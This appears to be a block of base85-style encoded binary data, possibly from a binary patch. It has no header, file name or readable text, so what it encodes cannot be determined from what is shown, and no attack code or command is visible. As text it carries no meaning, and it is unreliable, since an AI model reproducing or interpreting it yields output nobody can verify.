zDZl6Ty9d%Hzc}hn+;7*7gPMfjS;zVJ;dcY)yorKqHx@hxz~#M8z=8N~s#fwrMA1~9 zP8Bb=axHzVBpNaYH?c#GKB6-7(wdAHjIQJkOHUV`pWeZGImL!*hG20DfV-5*a%Z!P zt*5?pHdX?p$CB!uj}F;}EI=IZdSYTh!WgwwpM9O~SuR8w-N$i$K`yqCTaapac^LfR z`$3iod3WIG{Oc$TiLA&!A2{k?Pl2GC;iV+-t%7HmFE90E+{-0}O{vO16F3`kLW*f$ zbLt%2c!#3vl|Oh|=LdRI!t3%p4D$(m&Q$k|sWu0+G8uB?iNQ?fIcGwwy@tb}OE9q| zx@=I1+lpvVoV}8RxBu&z`w+@cX1p+_V8@B|=3kgOd%C#HmJY;|cc=PY1>$4;ngeff zf$t=0g7{5>_+n9Vsaa+k){yFS$Q-<(3L37*G6Z}Zb2TD59AOj$;bjvg(MCdQkgLCp(Vu+W-TKy&-T?!I0XKaz;K7K&ufJg& zK;F?p5gtBC%btuEwKSaN@auCO{FU^`eV{RqXn;bYvdsty5u%>1+!n}oyp+xE6&nm| zWb2$xAy*Jhj*?1<)V7%(xo~LLk&1;4aPF&_ixmXCWM1IqA6D7Ah zl-ziAixY`^M*eCxj2Z`#qCHHga{CbS<`hZ1q7>~CeD@g1s9Nla51;aQ|IeN~SgR1-pV_3&4#`9eHt%7><4Y;vqi?|9l%tCDS5UN>F|_3z2&QiO zxbU;1l;>E=N+hum@v;V0&2hlAPT}f$qrptdw6b{=g)_;R;DS93u%Wl7i8e8}Y8*;u zXF~4Q51-3^QKx~QH0H!STasT{yC1_17ww@hjT5yn(F5RheE8)PCi>{{OvWH4Yhh4LnypxH~zGn9sihC#8n9W;9b>l{9e>v_pDwIcMOD>lr$ZZFVG+4aGW_2q9+Qq^ zPyAt~Ck1d0INR4*ETs-@GThQ%I-8P>GB_x-AZ00eKCvRWg(6ZOau}eH{m+IEVtT7t z7rdnjyKJU(8CR8%mxEFT+>Xd?_*~lX4NIkn;svvrxR|9k?eD_Y4TE-@qn{& zT2n%IS7gnm6iuqLAyMDr;>rk9x7K#`LJt-EvRE=t%q20;=2z$E2f8DTS0{F7?XMU^ znVv*4m2>0K?FLufZhEob4%#RVTY@4g!&9N^rsMerv+*`V+G)O}zl<7(_p#h-Es-%_ z(S^6N!I{Jn3!UkZo}l^o8LmhIlub#^d>SLk=p%mN`>PUOP%_aul8RX02BX) z-fZ&3kNfN^@S`M>VMD&&us9B^kXeQ0u=)9hVZG32E16j1K#C1HT`=4*2SSJsCzl#k zQkc;@=C}_mpz|V1ds#_N;FsL!V2wnP*IH_G9lCl8Mb%Buvu*EQOKlNjZJJA;zMiB6 zSQY~q_u`zc@$UvM-5bzCvhcx8i@b1^3cZR{Gw&j>LTIj;IHH4k zK9iw_vFG3_m;N$3)~gcR)#@In3(p8jX>(!9Rb-xH*_Nlii~>KP#D8_M`{@B5ODOJz zbv{5VuCju;8$R0tg0$TG%;R9zpo%f{0R*HO-ql3qOGixn4KHtpPrA1vsz3AilKKYe zW_b(IT+9PK`VQ$&sZ;SSvjP7Xoywh#DunZ$Ax^BH9r(FCFK9okq;pS?A17Ty{QM?mE)ao)g0uI1iDh$#ynM_Nld z$Fe5Z>53*^W`z_LXDRBA__6{5DbuXTRp{8oNqx(s%&erd?LHN?iaJF8j?sVf+v#QTLCS_wgqMOXHB$*HTp_p(71$EttSY7nXDsNMu zc6OKQW_32Gs5C|Qs;k(uwHBtY@yGh$(aNby3WTYTj`7otwB{>&!abm?P{psc`WMxt zu*A$PBD%^fOG3v|9%=bzgZ5?EP`}aom(G^@9AMj62P)ciAy&w3^#O5?KhRr_iOCRV zP_Ey@1J$w@wNt@a``2G!tBc$a1)?qWQK`Rg?Yzu@kAmNO zwcZ2qiURaJVk&F(E9_M=#tSm$RBC-MYcP}fm%>e-9XivYv!6|_BsU5VHwf$LAWrA@Ujc5OS4j&HKZDJLrzzkXQKh4mh|caCNHW`MQWrPIb0T zP&U0BDsx%vv_lWvxrE}8ykg}#~yy);xcEQp?R*MDB2RZBuNH-$B20 zl%Mhy3ASR$CC$sQ7%uC4ssG4fNOnJwQ-0LFgj0#%daY#*tKmg}6i8g4U;(_`cvVey)phPD;`M6!qV7&yVeFtXiGoVf)a^Ov#>+XZK|7zn6cA4c>f+;enW6%c!c^K2!z~<{K_3M5C#3a=6}^kYUVz z=0ZvavBb$(W+vMui~Ga6cEGE@mh7%veX;1#TyzWLa!RNq2i|H-rET0ZW9y^NyT+#< zmEN6D*-Z<#MgBjPd#>G~ zz0Gp>3)e~ArvajEALr0Bh~`{DO!g5jF!mg#VN>`FX8&Bki1M4+EOAwS1bz~fuKcEX zw_q^g3ywY{K=~{D&C*uNDSR2oN;*{&-bNre9(cKUTgzNMvqw^5R z4)Es=2pbFdXBqW<0|N2mJ#D0a5%p^!gB2xUvcWj%IuUb#mu+X*EQ=UyahJNs^Be6o zVr-Rmp0kz9{>eVG?XTpLGtr6*;7`r3UWe7f0*KFe>z?&A*gxIEMcLd`xN%#i;Qh;@ zOhO=k+7FYT^Yfcqi}Rh@yLUOD#%0!$EuyfDv}Ua71__t8w{Jbb67S9i^g`p^RR zn5c>gVsCFeLO_D?#ihNSSd*NzI#BiK5wW)G%e$hEjycy$1?4Mu)B;#P|Ju^ty_#J2MtKi5 znts=`B|bhEEx(m^?-!||qs!68M#SkHOA`ZTD`ixH9Ml2WqT63^^MaAi{zg3t7{4UmO~6LbC4aveopyvuNWrZAU6^Yuj`% zKeN%dHZah&{CJT6-mts0vD8n`vECC@UAg?|vi8D+gtez9Hokp1eBmQ97%S(F{1qQA`DI%3ML#67^>Ly`^l4B`MpQ0=butDvxolbs%)Nh`O8ZU6*A9sjid@m&%hbp^?Oq zWf>$ws`HY`M0Yktla~k9V7~4dElB$n7tM$#W%X%+n^t4$WDuB*>zcD ztL`bPc_ky)?A*i)zYX^{pQ-fI(At>&QHspkuX)X2vMD;>KMxVcnz_)F6_kw-3d*CY zjD^U_kKB;RVz124`tVwHXw=k#k=`AXe8eH(%o+2T-lzkpyonVdXP%npNvq8(39-cP zROLKpy2yq6u?+|hX7t5*o|mN@uv0rd_0hV`UwBw};5MXNUAr^hrs@<>e!eo5plivy zbkySUj)j6n!*=}!ob{zg-J{ZNJs;1xIewfB(#pD;ZlKKG$BGhf6Kj;^$~?HzILpd% zk5A)^5=nonX%#7h>DS@coD6T+8yj?Is3&Xf^%dN(bjIW;k z0@Eso^@*X}x&`ETQ`I3uk*r>PYG0HDc8a68C*z`1j$J!^^zu^Cr%yPR*qES^lRNbv zNthfyf$&ry*`=AtdDbSTZnVGR*lTx^z-wguFksvthKoZvRa}C-=7MNz1aHDxN*Rx* zJEGFbV%D? zINdZ`F;eGsEmI@JLjehCNlEkIbsp2}=^txA}nM`M&Pbe#FU8I%c#fpbm!P7hedI zc%6?9Tm@^>#f3F?^(moLCZa_ZMIjOw3>hPx2clRcA#q%prG5f}F=JnBN`GQrJf*mM zuC2&7alkbxt9u2vC>xY1iA$a7mA@ZB7-S%wmrA_j@iF(0&b(=R#u`N+2*6S|zPb5i zR;qfSe?3QZbP@5$Aq|!iDDF8b@XA7OD?k6p7xoOB%qP66?CTJ?94S;2HimTjD&Y<> zzVLxpjt5@gXL;b8fZOG&<$9mb{z6SGaNn`JmkNTYrbbQn*Ctvb4oCzO^fH|xJIsD- z1|$lV8}s6MG8<6|ON8+6506$X4-3kl(08r#LXKcnRciA#&zPM*)B-jkkq*T#H6Nry zNe`)EghS$$gBGzf;9~ogv^Q? zfn#HOdVUaZ+;9!n2xfJNCRzG#s86XPe;(>jYH3p%(|o4>Wq$;)jTeCt)J+TQ0XWTl zczr$K0QXpkujlfc9|0e@c(8Zrogy4h9P7MTc;aB0XZ@4~h1MvUcsxUYA2=y^ z5jJ}a%hS?avlp@Th;veiBuO8u6vY)dZ!D{5jkDt+;;5fXx@Hy(S@gy-zyH|-*kD#N zt3@{)d%W~kMyZT?IY;|GILWnjFg@{GiT~<+Y5Vc%*ay4BnQu=`j6_S_{Ph>4YMUM>csSEH8LU)H^lf=wK5Y5Z8kj5A?_AiyAYgY7iki^ zI|Jc9k|p@QN|GXhGNUzb1(}IKd^{l4n>@x&0ef(fiUgNSN6MwvLs>KDC|54NtN-;v zm7(|Hw)-R^UI^`2Hdqwj{*^I*72&fc(X?>%QHzh$$k$h~HI!}*!_ouV)m+Rk4Mna6 z`uLcxet&z$b3I<4zH};6f};j{jIf8M3F8fK@$n)fR=%hBUO2Cd(BqGmDan$}$~|~Z zPH361wb!!_#slA68gZzlB{mDlDuC^W93bDkdjFSumu*rSkPpLk_yv|4K+<>Lvev*>?+eUY(y985-)891&q}^0oEyC8s~zexN3?trv9kjniNhWqnIYlCX{A-UO`oD|hEHe;ubXTJWViYJ7`M1+wi zI4qKDSHJ;fa$&KJD&YXakk;Ez!NVp;iZ8|syjO=HBM>3|8aO1{HGrgdP z)Vz|6&a_3M1O?sRE+Mte(qnv0F?`)g3m-+}B%3&CN2&G7uu~r>Cu@_BTPSQPRh~M> zD>~?h*`=?~f$i>mZ=$jT$UE7+dA&KNN^_#6%cM5BkQ!jB0vQTwsCRbFC$)SJf0+3> z@$NwE4UnhDDtEZ28GF4ssCNH2rDnd#afsOZ33`>4wYZuA9Mow$r6BQm2mNircF)(Y z+ReL|?(O8zuT2Kg^5bw&pji?f$+}rm&5(3+zou3OL-7Hx7*5X^j`;Hht#~)%GS^?< zQIi4r6x!t(u3*jlF`P)SB%qJ_p?WKQJRbmpe3T4gA z^V9zHOX}vg{Jw*u+7Uu^%XVszk?Bl6>OB@o-na$cOhy zoeYR1{~vEEL%6>#BBmEveRx0Gs(4V;@ILjC9el7d8^Lq0^)f&BnmEdHEHEL#Qt0=b zHpj*_-%JgEB~ggu1w65NsQ&VzA5?U(8}kWNwgHr-wFBGV%xsvmdb|4iZ0e^S8`rEI zjv*nm&a)d6T){0=5rJtI$k4-0(T73{l$eEcz-YW?M+8eWJ+1&hilOd`3UCe(c*;jK! zI^z1!9Pprt>#TryUFqYsJJ<1>(itoU@sf1K#2QZv2rk+MKyq###5iTAVBbP)^-p*Y* zD)Ar4qpyC5xBivX(V@s{v()qF`#UoUKk&q(?GTSmcGkR-IP4t*L!8P`537*&wux?` zwyrEF$#@ZH?EW`OsIi+{DJLNFV-S#oILU~0?~$R(v2~Iu9CWbE=8#LZ9xSGK2tnkp8pm2z{%u63FE;^3#+BO{4 zOtq2Ev3rMekCmWIeN4M^zB1bY*bZ)irclyrl>-Kre(LtEOpkN&n0>gJj%VEvqnpYfs5Hv0zA|fA`2_b0J?iwNxmB6d5b9eRiKw$wxV> zdmH6hSpMY~2C>K#)Ii)q0^5h-Lg}^@UKQd|ye@R(bfu$G6oYgSQIWzl4{+@$_W^f! z%hndN=aLc6m3)s9V`JI33G1L<<>VCPxSt5Bbefp7$hh*+wqQ%}FUK<0Gf6kFv412%5X!w_{p|rlY7Z+cM?Sq37j%;nl&6ZLnqg~DO_v=W~iJM5@EN1PG zC)VQ;r*nkYPWt=r|4ST)4@}LhO=#20&X2)P{y@9^($Hljr_+@G{XSXqG=)n4{x&~; zr8p+!`YgKrWN7Hn`+F_$J^Qy5{;irG7T>?(YHa*vCl5c`{WMGPpoK<%hA82w-_i$T z!nX6m;yt^$IjXx2|2t3k-rn~E#E==<_UVsBzYhrw9rZ+Zzwz)QuidQP+DK8@!f~%U z`7-o}Mj8}{H4-LTTj$$wh?s63rk%5jP@TjHf?i$Vv38wY%z)ev|Tt+}bY+p0`f7Mo}TH*|S*ETKl*1eVH zcB-xR5OgOedBF93q;bE~>AzeBVeCb_lse?je(@O3{jY40EW~(GTkBQz>`UN3_1ZMf zwRH@tcHor0pOnY{^8#O9G=;)Y(Ww#t%MqrRqU`+tQBY2Z z{$tygL^oDzzPq-&*orzuz4^|-;OBqzZ0bNxA3!(ltyiI|Y^U^`-hGD1UCby3!zE#S zKL4Kic>BV{0lErJCI85t3H4jId~!-dw-t@#8S#DbVj*!)%spPTU*HR6i{>UwX!q{z z_Z77_RucOEKFEg&dj7j7 z{ocg1AuVI`Car0OKJ)&M!D+^r%)xlMMCaZyi>53)Z0ABk0#8n96^r|3>hT7;*ax8? z|4F{_9#bXu$k7KEG-&m#RT@TgMh}82mb8RJa4@!rXqi^rU>Uo~&q4w2 zA+Px2n%o@(7<^#q&6vc&+@Sjt#^clwSj*<|N^b5a=s_$Rt2={RUPJJ3vYF^^oYL^v zTxdAwr`a7DOFIABto^<+c`fM%q+%;PY-;&t%i%qVsa~EwxustoSznZlalR596(Km`5Nqb99ugq6PW2f?5>#jBi;(Ajw7@xI316MaIK{;*XXasQMC zWj4QoUhtt|{fTCgvUb2AD&l%*Y!tR)H2yZMj+^_cFQZ;%L*;(^sLRZI$~f2aq}{9% zXuJN=;iHEuZ4S~OVx;!(Z>X;({^TmbKL{o$jGXiS>@hQy95M0I@$qYfX{GMt*dvyrubzIBlvR#6j?LBAPeXz;GrW~x!!qvL2pZ@qp& zV%q0+%4L^=Vg{w-o^G9&LcB08D{4Te);;U&X6ZAHE7o%J)nhx-d0tQ`giZ&kiJBe% zy9CvI@M4xuKVW}mD(JoyVd>!=mx#R4AeYj~TbDkX*U+mPH%s@3+uN5Cznb0ytmnnQy?Kz1pQ&+%JUAPT74l+r zswC|C$jkT^)*7KUHML)l;HgOL;ZV|0sI+O;_P?m%LC9dzduV<6O{K9x8yX7EZpfZ?_5~!}kw9LIe)Pa#HDK3e zdD<#X<*lm0_Zd50hUL;@iSo9c*;qZA{Uuu5_R=N1xz2HR+nu&`wq**QUkLKnKDl1{ zw7U(7&O3S>CFvmj0p@)tz!|EH1=d_YDUhHp5rs7xX$Do;lFE^KQfj`Y~)ua-W;CJqx3nI&2Z524V?Hb|?YBri37@K8%`oJzIOJJ575{MQ-## z>??+h5c}?r`P4`pC;OcB+sD~nnvd7M$rqu@z)H!c(MIOBsrtDKN6@LvdqwnriuOUT zReYGGrBXJ~uB9?BJPL7y#eWB}R>qV*E=?9%+f=>_>92>*FCzLK@Yv<=7o3;{pCJ$q z5JvH$FLEyL9Qi<_ISR3`DEbut|6F_rV;EnX9o%JP0v`jrFlp8U-M=@&Gp8{O(^J&` z5U<7m9d-f~?Avs=?sI9u{zp(biV7Guc?VNjkLiFePq7%$3_{C>4bNf&>iD#LXO!8+bhbXUoJh2eVvw|92>X9qOx28M2dPMd~(v`5Bm%w3jFkdqjX!Tv8^v zEhD0^$V;4RPJm_C)`E`qfzliG7+$fWGL9s*$aq!A$m$;SMwOPreA4iIM_P=8x9X9l z2s&*vj84l7U-MVt!MkH)LO!`3+sNt!2fS&uEe1{*6AMOBT`lp$Va!YPO?PtEyK`oX z7v6H`srH|yIijHLUEP8(o?=bt44M~h@m9Ekn99_3-CTRe=HbgZDKn(F(D#BtrU+Wg z$=F3BWHAr1E{x}3rRJOK*)l*=B6uPN5D?${Z14I9kreeg2TSs_$BS z_tpLJNlP@P%It)peb&n7Vt|7_q*kA8u9FDjU44Hgf)4uO@#pWLt<#2#Y22JiM-w_rAS})^9z3Px0;Bpnymn4UF3A5j^^}pI_rn+!h4GnQQ(BG)B zE&umHi@lgEhd{xt0VqZ$KT}kDH<{9U|CwUl_<;ahz z52AsOn4z(QF{Jw=dbi(tTpiVwma;Acq1!dxME*(;U2`LrgYx*qiClzs@EYmsE2Yba z|KFmd_#(}awv|sjSHOr&L7Ze$*c&@~RFpoza-@6cc`?TjWa+4DEn(phVS9g)4 z*>PVD2zy0`$!pgauPUrz>hMVJPxDIVnSm%)alf7IZTpX~UwP(<{&?1EdU}n9-|F~&|GA^mQsr-j*}%2Cn$;Z?x_N-< zzSNAGH0Sq4yH0L`F8kH+Q zmI=J8UrCoV{j%jBXH3g8crCY@#cOQ{zKS7ddu zlcMNmO^jnrqYJ3&Oh1zrw=8hT1eYgCL({#Lts2-ESVCCxE%32W4O59Jq|-R94z(n1}CZZwr)Xp~ymj zHV;~hZ@D`;TKa&#-A=UXSICh8|T4KYCi1q9`=?~tf&b9B4Mse9)|*- z7SddrA)yTeYl^Fj!3cpJBY*JVqW3#$Ym-7+|Feu54ml9)7k}T$fX*x~8mmx(V?wlv zm8{IqnTlsT8v6cSS}kznFr_pRHCOu4r!z%)7`Z1^w*?4@K!W~Ia3Y~@AnVBU9@UPq+ETgm=WQ0D;hNzfIF(^`wWF)1Pln>_^qQ@={m%rGJ&)`&}Q)4T5gLOWs2 z`Qmp(A@AS*On-4L=`eHXtN;ABuzBVLs-_9@ow1HNdoD;X- zv}nd&Te_9={O+ztwE2AwMd$ree(o&R`>z?>iS)adeOg3Zz*%(6T`UOKdVaot`G>U@ ztk`?bYJ8?Q@08mc;7hEy1DLF!jni^;wN%HzOU@ULfK%y|S1Zwf5|a6UX96`&sG|qQ zM>YH&PkATw=XMJG77s966Atd)mF>2#ol6h~`i28(CTKTz_dc=UG6ciMS^YZX32}c% zfbxk|9d@bpAcbX?y7UVq0%u*ZeZ*@pR;>l0chPiX`lG;vPq|URW(D*eb28`;=l8yAZ<8vLLocXR${c~gAh;;{ZE7S(b+vH zxx=#v4ZrU3m2b}>lMOCKZ}~)j|6Uf7KHBa#*~TZWZt+gIjp;k6Rs6zWxqAv#y~sAd zdNbe8nUzwifO40X4LZ^AyGF7bLQUmID@}8^c;YzB`5Em{=mqq-0(4`$7kB)pn#G2^ zUJ9wP(caHCt@kw0lAE3KlaxPnd(nBOk5~L&=jc0E&m6R;&))E5wBfo53m1=|GtNv7 zWV>1XXRc8fWq$3h^Nb&0dCFTE)?>`?*>QAXGqAPe_X^3*8a8IFNJx0HPym&GP}R)%ecp&ND};6V20*M~CS8yPI!oKl|d? z)89?-{)qIbsvu-u6M9G02>!sW=ed*}6XH7x+!CjVw;+gp&hUDyOSqp%3!^D0IV7K1 zA3a%WXb6VC+ifzhG}y(+a2ho3D9;E4v0E>9Wu1V=UKSI*@4dr0CtD|ARkG6We6yZZ z0St`zK}`3?ZMj#Buh|*qvaZ`CVV(|@(r=LW)}Qy?<$pkSI>UY*)|{RAb%u2fH2&!I zV;XOvnQG!&YurA{ze6=BNqvrevDnLsDX9=G{@}@JeL>hjQ=R1sA_~#uXm{=Y+VBSa zn}OjgqoAb2#PR+V-}%oci_wm5iIbmK*l2GZO0q$5Bh6p$&I$K@?L|33t@WXnq-!2k(wsvs}Kq z+`H|<0n{96Yv&)( zB40Cs4$9bz$BrG7EWYrTCK9)x1vfQ=fV<=^rlg?vPXvRx8(D4TM7Hg_XAjIO+^lak zr^NoTT=UNC>)8Y=PWYK{$O3Z?P_3lo_w}Wq@&9zw?Zm|CS0zLTW&B<#gK~h<0gclo;duTLS8-L4p_#wGTK%2WwCZUofN1Su$Z(9A_a+42nK2!D6Z_ zkGx8m?COM2U!*O!ia|!(b#(=N-d)7zlnlrB)r+%!q8#YmDG8t=K#S`a>F|xwMGVHV z!4PS7!e%ADi+>salkIUkd_nEF=wP7VeRI76ra1w8h$Il=Lwz2@fIjDqp9Kr1J_`sGzfgsE&)@rJkMO>Uz@*e)l9w1;6t5w{<>Iz`00=dkOkfN2tl3zYGbk0m6WZmnb) zl=!zi^6Kp$i-tQDz^?q|XRLBhk*xHjYuHzYoDvtP-|*~>JVdFGmQ}k7JB0*7agKjhNJ*5-c}UzW0N&$Db)Stqw$uou^(B9 zrx(MdXIPZC6nvgi>p@3&PNp}n^P7nh%B_A*j{S|MoXH!h5*yC1mg?AzBg{aMd9*pp z&Q`5yF3xT7Tl9lnnL9JzjKj?Oa9QeWSMoX-GjlnwOdUpAM1r9J$tR0iXxiyI%?UYc z-qm#T1a@Wb-(UilqikG`VhO&p8J3Ws^yrgJabN4g?T-_7MdcpBdfDhwmry2okX19L;Jsi*i1%;H?Zg-5qy>}xJBj7G^El^x0 z#_HCN6QwWvTu%;Mjp73BD*!e$#@X@;R~WfNJoC*C>rDhB-5tch!E~}RkDhD-_{qU^ zelx!?r@l+e3n;HwV@xx&)q?ZcogI=Vm=V zrJFjjuFY|99Rf~1kp4IBeP{snEHg9?EV0;}gOScWpdmLjA&#$Jei9Xj*Dcad!h(Up zh{K&^v;SyA3LA`69f5H4LLNMQ`t_ybuAbBvnm1oa|5Z?6mIwHr6rC zkiL%G_}lB*Q1>%e$7bc;L7qyKi3x8zrTN%r6%b5iEbR?G_w3ZefRG$Un8k>9LxjJ1 z*&nZa)Sl?&D=ZwW4^(bG*_!~Vq1rm{kaPfNQx7Bh!j64C74+rh=@&7fs@-qKxav-T zbt+>kd;&eLz?o1WkFo-YxJ{re>Pvf~>7D{)r$(|mGiXgVls0YW8Q=nSn>zkoq<4k} z^z4eO-RT7pN8m;ypq z_1Sw!6mpaqVAIUD-BzD)`Nf7H=;+Q1~Fej39tNgutb9;zj_7(~J z6w8~ z`~KY=IPQlpb2o2>9aV<@-TaaIEf?+h`sJs?Cy+N>RoBLKfSPY~0yX!@gc=$ef@Sxy zAa)XNWAtx9e&*-%97?tNFy!)k%pnZH#A@&J1Nyd?=@}V$T|E~j9BN_`_T~WdrhXa^ zQV3```pW-OQC*9_?;%nClNW3lVpfDeG*BRel&8JK0-|`fjH*{wuB!ItlajE_fnkKB zE0gq)AL!!RAMB^B4uaz`R)Zb|{|u${;X>6RlhcgsTzNUd8|C~SfI}At7NpoTaW*)m z^EPN(WIfoSyp#B{pFWev+>+GS3brhdMy*O%ErSaKVf0uV(~FdV7pXHFx^>+ahzMa2 zTv%~ZDCSi1>XXei-B%RkuJuSqpC>m?J3VQFuwUPO-@EU&E0S^RcF&r3;tW1l48W4x zTx6mjI9Vm>o=9-EDu~Fd_R;687kC&Y;(9PJ)L3dx;!`b}^@BQiB+}QIn|ymc7+Pde zNYA<+5LCMud6$JHTLOqGM!J&1p50y(O=FCB&q+QU%ZQq2jR1pYCi*f7x(R;e_Gd;O%b12c1Vq2eG^#`>NMw&q%<5LP ziA^gknS&(%PLluUUs;0ocUCNWA@kt#Ag2oZ9|51fHUmbVH6a8(Om}FgR1CnflYBtR z<3)p4AXU*JNhuIJ_p!<&MLGzE+)0-pI`rRzUi>^SFIxs3A;MlAgWIub|3P)xEg(U@wvMjLAM>)LmPhJ#*f34SHK|}tm z%XCnFk|i7k-d0%iqcfnAsf_nmwv?KsG&PmntlvHoAL=-&zO8H!60_nya5E_m`E4oO zXVEL%D{ghf@!Zh!7we=l8ZD7~5df2D{)WI8fYsM+7M%o2R6=!6uP|{)g;o_(@^kvl zE4Oc#yUHKZXg|E{$&xJwjE}R4(UYHLfT>HgZ`K3x@z0)*ATY1y9vuI*yqvZtSyqnW zXM3-N&IOy->xC?5mw<#0Lg?gmedYrb4h!Z`jx&m3tj54kbtqY;3+@k`E_=#U@BZ+8-y@RJ*%MZ?MR-L-<*}DtGR|)Rae>`MMYgOO260gDCF0bnr&Cw&N#i7 zI587GlQ2^Hm$~b{j22Xw(UL&2V#WtarL2%21uHBdC~XI2*K^9G$J$SL>byjY26q11p_r9OphnxD61qF2mf7}7V zn0ZR2-pzU(W)KP#wK{!Q>IwtcXZ{ETV|(#akoHlQ@D}KHE-EV$K2*O`61+O$b-0#8 zD$30zF0+gc&}hCaHb)`<6l2(|Cm;&}Pg)|$XG|lI7vGhyu#7Ffe{V8drT6c1PN3Pd zy~c!6cFAhD@2#6UFV!K*N{&G*SI_=2aMT!>@Sxl}^GqR1re|vm+#&Dsa*we5eBY~Y z)-1VM$E~O}KrFZ68}mC9ABFH)f#JT%vm6AxagNlzK<++%@7|O@?1?fu$beykoK0f= zXDm)fSPo)?38zLRhxwj32mZu2moOg!-e!$5P%g$368qoZx6yTl;P z);Div+&`Q>9_cGagZ{IK&6p7IRAwNp&qR$rIyJRmM5}oy5^Vkbw|Cg{=Z)Np!{y4H#Uo*d$<>(1&yX|B0c`uA2 z)-cJZgX$^247i;3rsW;T9@-qPBiYehjzZ{lBJ_=_Jo0stg66viSnaKje<6 zvbFd2@_Xc@-$Gv~B_Er~pgrWjQ3n%|7n_#`I?A;D> zNXVN^o{JaR?iN@}$atc^93$tKLT6tFd&|h&tvP<&fLWw6BVl{~bxH8JW-rAECi!@h z=ljpySxL$2nfKQ$`e5f_q(@h_%yFs5|DKOrIXEBiYNu`vbZ)gA%pdn)eF{m>u57hL zv5Y-jUe=yb4b^|e|JM^I!H{ZwH#{1nm}z1P5x9$0mYPW7yJ-#Vr_ z?S^ysg+)Yw8Gx2@$xsTk=hDuY7bor>&~Yw)&-riRl|KtnVN+9DFg@$d!)6%F%xgUu zK*s$EDRO-=A^gB$1yLJLE-rCJkYf)5?JoBp^O%0|Zv`PHME1{$Yyn90YxKn{RVS}4 zuAI6x9b4rGIU@K^FO}D``2>O=>>4Sah)%k27A>v5=2yxx*3i_1n45;~5zP5xhvLlo zya7{>zn%fDkUTugU&#f@^Fmmz7Jb6YHHtc{lBq^4vx>0eOF6E z^_*R!5X>f3rEzl|^aD6V2~^m7NRJ%wnuo6#x3?rf$xt#hWIdb45);$Y&x@9J1i0{= zm=FLxTIYce44VhbnikLG(J-U~Lcp%+^ zOKax$bPJOK6jF3?2=9)ouK;xxxd zvo6wo_JmhVZ|5igbQm{haS2dsKm2%~&yt;&4T8`g-h{TtgOZF&r6O$cxooNRqCI;AJP=WZ)V^*Sjje=bKrh1setuv4QGot&l(nB^>C;lZlwiK*ERo;~ z8nA4%u?O+XbBo`cdfvxH#qjZybGPvB+q;;~`Tefn-5;00w(|6JITJggdlLk;WPa_E zo!#edNYBSQBeg$<1F&DpzkdA+uL)So-GUbaV|%+v_VkK4age@%{J?i)0)M2_4bmhM ze64Y(>2&9d+yb^!T)|ece;AFWqRA0-hM1^mc$}E}ZrgGAdyY$ibiu0>j#z2M1>vj1zZ{Dr445oOhooJG1@8fF1&W;2`uy`i-P=DI` zlShlMg(<#a&z6EZBY55kJBP6A={`pk<>eZb(;1^OGI24zwTo9ODayl#f-7{6{gM6` z9_#r^@pm+PKlOKkKRI8&3lg~R>YZrG?np5!&S#)+Z($#7qE?mceEf%N?l8~eUyx_U zCvP{mLST3PDv%p*aUI5Wea8vRMvMb(HY)h7OsIwg7<2W60}j0T9D-^ke|wLAy!pja zEco`f*Sqc)IRx4vA!kf`fftg7PSP|5^h|abktJ?3Kg)WNQ|&tQvypukYN>a;=iXg1 z0e8EtJ!PnxS3iRCyaYdgX8Jm6QJSvsdmud+%slW9Kns*oO7q()u$twpa}n(l+HG6& z;p~~JXajHCorI|zVDMv=6;$`GPMSS!0IPo4d54ECXe+MU7{gzkN6^qW@BHREp$a*j zlVf?2Hv2UcjJ=p@h70XwSp9TNjbiVK#ezOH0S2N_*3A}q#h+rqQ+#};CZ!wh{qia* zLvsZmKT2GA3(XdM*e}t8qeD#d9PNtQcA=PEo&)rBYM<)(=$Y#}0*t+3^uBhpy5eI_ zfCuKdEyGt5QO#C_eQm6MhH>}i6eM9md3)%gdGby|c6N2?M~Bxe!7PPp;fZpp4nAcb zq)~>kCjjs5MVDA?H;HBtcdt8NcNj*)q!`Rw)x*yo8s zC3~&y9swdF^gc%uK*3gl4sJXEW_NC+H?JYS&moqk;N*Zl9X$eJ7O7_cK^woWX4_>6 z#VCQsS_2!1Xx9JQI!zSghu0=fb;xrkW~4!31~!lhw{3YAl&eB41E8tO~zI zBP#U~aQ6}TDBto>^1|wz)B9!YczqBkERYaq%(E=U+Zh#>i$~JoA|#(oug4xV=JYj+ z@uq3?8GC;WXka90{Q4ood8Tc%4fl9zCDH5PZwlj^v+llY(xdSaBajq+^l#=1QoV_1 zu}>3~_z_Wi_tmv~DY_q1vhcM$SP6ig2k0$k!ELtjfLO0C^_L46#!am79o_4_jsfXQ zgpUDvO#m-&tWx~`JQOF}K!^7idx28fTcYfapm}DZ-)3guUZ$KE$b_@O4!~qV^HaQA zJIJnoJs$yPqY=p&g@gH#cRc%2k27LzD?FYi{J&FYPPyHfOXo;uM?u}GHq+AxIlZR^ z+%{OFeH69&iLCG0NDr6FE?s16<=JoGxpbfGSYjY#d-}axNr+Kw+=io+U|@@&lZ!bw zn0sjuJpy$orFN)0pCx~j=dLUyKP*@Sy@|TMXVd^?-(yJu4jx|>>SG1?75l^>8^RDd z++hriSPNbslFQSmv0FtUs!-bj!Vl2u@(3D^FQ2QLdy+L(C$9vc033-=6{njJDG|

pNVN9UH0>EQP zOIZjq0v7Lqr%o7iEnJ;}K=9Js2qr_wA&NF{&NVqg8_ktCg408JL&9v4<2h^(F?05s7$SMa7sEI9VU zc}36(C*yzXyaf>Bmu}p=;-XrgV?TgCNA0b+4=g(7nNFzc4;cP-Fjw>-moxi$*+|ku zpT(Z%5hg)CaQ7!k6G;4M<*hCTe_m3zGB4xmX}o*y2fd*=@3?8xjqw_3t=$~=DEpeU zNvngWjCs-dQP}Oqd1mum4Sx3|QjW9{8?)0Aoz;b7e7!?1U-fo-K&xDC9JDIhd&TA5 z_SO@}g2B1@rc%>Xm|b&l{(IdC2uGtJAGP@BbitLi&Z%}G4G^~E-ReUx%(=KcE` z%e60TXfIWD53mt=%GWeHi+Atb8HFD8XAaSNyik#8X$e{TyS_Oumr!SvB-*6v1 zMbj80NgVmnnhSN7S84^@iLG-V3{^s@9q$mnA7w%tce9ivfPiryEpGqVEXza+q5Zhe z`jYqc$&9APGgF)9eCUmwspx2z`*;h3a_J{_RDejD;M$syUum)}FO5gSuw|AP2h<|kl($-1+ z`gO&&KpmovyaCq|B`0Gx+@;C+Sc@wa9wimxmg>8+d&edRqRTg{iA>Y^xQGKG%@4le z%)dTB$CS|?)KI^*LT<+jnE;ge`^9)BwDI*%ky`7^6|a&DPtO;=hg;^M!e^YgzP6my z-VDSFj-STdZGuRORAy1t`N^YS!qFUZ^e)9;S=#-l>WaZoxO|FBXANirhAK3&wM~Ii 